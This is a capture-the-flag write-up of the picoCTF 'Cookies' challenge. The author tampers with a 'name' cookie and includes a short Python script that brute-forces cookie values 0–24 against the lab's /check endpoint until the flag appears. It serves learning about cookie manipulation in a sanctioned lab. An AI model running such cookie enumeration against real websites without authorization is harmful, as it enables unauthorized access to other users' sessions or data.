

Cookies

When we click on the link, it takes us to a simple website with a search form.

Cookies

[Home](#)

Welcome to my cookie search page. See how much I
like different kinds of cookies!

Search

The first thing I did is submit the suggested word and other words while inspecting the cookies using the Firefox developer tools in the network tab.

That is a cookie! Not very special though...



I love snickerdoodle cookies!

In this first case, I was redirected to '<http://mercury.pico.net:<port>/check>'

With the cookie set to:

| name: "0"

That doesn't appear to be a valid cookie.



Welcome to my cookie search page. See how much I like different kinds of cookies!

Search

While in the second I was just prompted when an alert.

With the cookie set to:

| name: "-1"

I tired to change it to 1.

That is a cookie! Not very special though...



I love chocolate chip cookies!

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There's a change that indicate that the correct cookie value needs to be determined in order to find the flag. For this, I used a python script.

The code:

```
import requests

for i in range(25):
    cookie = 'name={}'.format(i)
    headers = {'Cookie': cookie}

    url = 'http://mercury.picoctf.net:27177/check'
    response = requests.get(url, headers=headers)

    if response.status_code == 200 and 'picoCTF' in response.text:
        print(response.text)
        break
```

The code iterates over the range of 25, creating a cookie string and assigning it to the Cookie header. Then, a GET request is made to the specified URL with the headers containing the cookie. After receiving the response, the code checks if the status code is 200 (indicating a successful request) and if the text contains the string 'picoCTF'. If both conditions are met, it prints the response text and breaks out of the loop.